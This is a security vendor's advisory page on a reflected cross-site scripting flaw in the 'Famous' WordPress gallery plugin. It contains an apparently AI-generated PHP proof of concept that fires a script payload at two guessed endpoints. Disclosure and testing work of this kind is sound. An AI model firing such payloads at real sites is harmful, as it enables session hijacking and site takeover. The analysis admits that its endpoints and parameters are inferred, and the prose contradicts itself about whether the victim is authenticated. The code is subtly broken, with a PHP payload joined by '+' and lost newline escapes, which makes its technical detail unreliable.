Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-27004: Famous – Responsive Image And Video Grid Gallery WordPress <= 1.4 – Reflected Cross-Site Scripting (famous_grid_image_and_video_gallery)

Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 1.4
Patched Version
Disclosed January 7, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-27004 (metadata-based):
This vulnerability is a reflected cross-site scripting (XSS) flaw in the Famous – Responsive Image And Video Grid Gallery WordPress plugin, version 1.4 and earlier. The vulnerability exists due to insufficient input sanitization and output escaping in one or more plugin endpoints. It allows unauthenticated attackers to inject arbitrary JavaScript, which executes in a victim’s browser if they are tricked into clicking a malicious link. The CVSS score of 6.1 (Medium) reflects the requirement for user interaction and the scope change to the victim’s browser session.

Atomic Edge research infers the root cause is improper neutralization of user input before it is included in server responses. The CWE-79 classification confirms this is a classic reflected XSS vulnerability. The vulnerability description states the issue is insufficient input sanitization and output escaping. Without access to the patched code, Atomic Edge cannot confirm the exact vulnerable file or function. The vulnerability likely exists in a public-facing AJAX handler, REST API endpoint, or admin page callback that echoes a user-controlled parameter without proper escaping functions like `esc_html()` or `esc_js()`.

Exploitation requires an attacker to craft a URL containing a malicious script payload in a specific parameter. A victim must visit this crafted URL while authenticated to WordPress. Based on common WordPress plugin patterns, the attack vector is likely a GET request to `/wp-admin/admin-ajax.php` with an `action` parameter corresponding to a plugin AJAX hook, such as `famous_grid_image_and_video_gallery_action`. Another potential vector is a direct request to a plugin admin page file. The malicious payload would be placed in another parameter, like `id` or `search`. A sample payload could be `alert(document.domain)`.

Remediation requires implementing proper output escaping or input validation. The plugin developers must ensure all user-supplied data printed to browser responses is processed through appropriate WordPress escaping functions. For content within HTML attributes, use `esc_attr()`. For content within HTML elements, use `esc_html()`. For content within JavaScript contexts, use `wp_json_encode()` or `esc_js()`. Input validation using `sanitize_text_field()` could provide a secondary layer of defense. A security nonce check would not mitigate this specific reflected XSS, as the attack targets unauthenticated users.

Successful exploitation leads to arbitrary JavaScript execution within the context of the victim’s browser session on the vulnerable WordPress site. This allows an attacker to perform any actions the victim is authorized to do. Impact includes session hijacking, malicious redirects, content defacement, and theft of sensitive data from the current page. The attacker could also perform administrative actions if the victim has an administrator role, leading to full site compromise.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-27004 - Famous - Responsive Image And Video Grid Gallery WordPress <= 1.4 - Reflected Cross-Site Scripting
<?php
/**
 * Proof-of-Concept for CVE-2025-27004.
 * This script demonstrates a reflected XSS attack against the vulnerable plugin.
 * The exact vulnerable endpoint and parameter are inferred from common WordPress plugin patterns.
 * Two potential attack vectors are tested.
 */

$target_url = 'http://vulnerable-wordpress-site.com'; // CONFIGURE THIS

// Common payload for testing XSS
$payload = urlencode('<script>alert("XSS-'+document.domain+'")</script>');

// Vector 1: AJAX endpoint (most common for plugin functionality)
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$ajax_params = [
    // The 'action' parameter value is inferred from the plugin slug.
    // WordPress AJAX hooks often use a prefix like 'wp_ajax_' or 'wp_ajax_nopriv_'.
    // The public-facing hook likely derives from the plugin name.
    'action' => 'famous_grid_image_and_video_gallery_action',
    // A generic parameter name where unsanitized input is echoed.
    'parameter' => $payload
];
$query_string_ajax = http_build_query($ajax_params);
$test_url_ajax = $ajax_url . '?' . $query_string_ajax;

// Vector 2: Direct plugin admin page access (alternative vector)
$admin_url = $target_url . '/wp-admin/admin.php';
$admin_params = [
    'page' => 'famous-grid-gallery', // Inferred admin page slug
    'tab' => $payload // Injected into an unsanitized query parameter
];
$query_string_admin = http_build_query($admin_params);
$test_url_admin = $admin_url . '?' . $query_string_admin;

// Use cURL to fetch the response and check for the reflected payload
function test_endpoint($url, $vector_name) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    // A user-agent may be required for some endpoints
    curl_setopt($ch, CURLOPT_USERAGENT, 'Atomic-Edge-PoC/1.0');
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);

    echo "Testing $vector_name:n";
    echo "URL: $urln";
    echo "HTTP Code: $http_coden";
    // Check if the unencoded payload appears in the response (indicative of lack of escaping)
    if (strpos($response, '<script>alert("XSS-') !== false) {
        echo "RESULT: VULNERABLE - Payload reflected unsanitized.nn";
        return true;
    } else {
        echo "RESULT: Potentially patched or different parameter required.nn";
        return false;
    }
}

echo "Atomic Edge CVE-2025-27004 Reflected XSS PoCn";
echo "Target: $target_urlnn";

$vuln_found = false;
$vuln_found = test_endpoint($test_url_ajax, 'AJAX Endpoint') || $vuln_found;
$vuln_found = test_endpoint($test_url_admin, 'Admin Page Endpoint') || $vuln_found;

if (!$vuln_found) {
    echo "Note: The exact vulnerable parameter or endpoint may differ. Manual testing with other parameters (e.g., 'id', 'search', 'slug') is recommended.n";
}
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School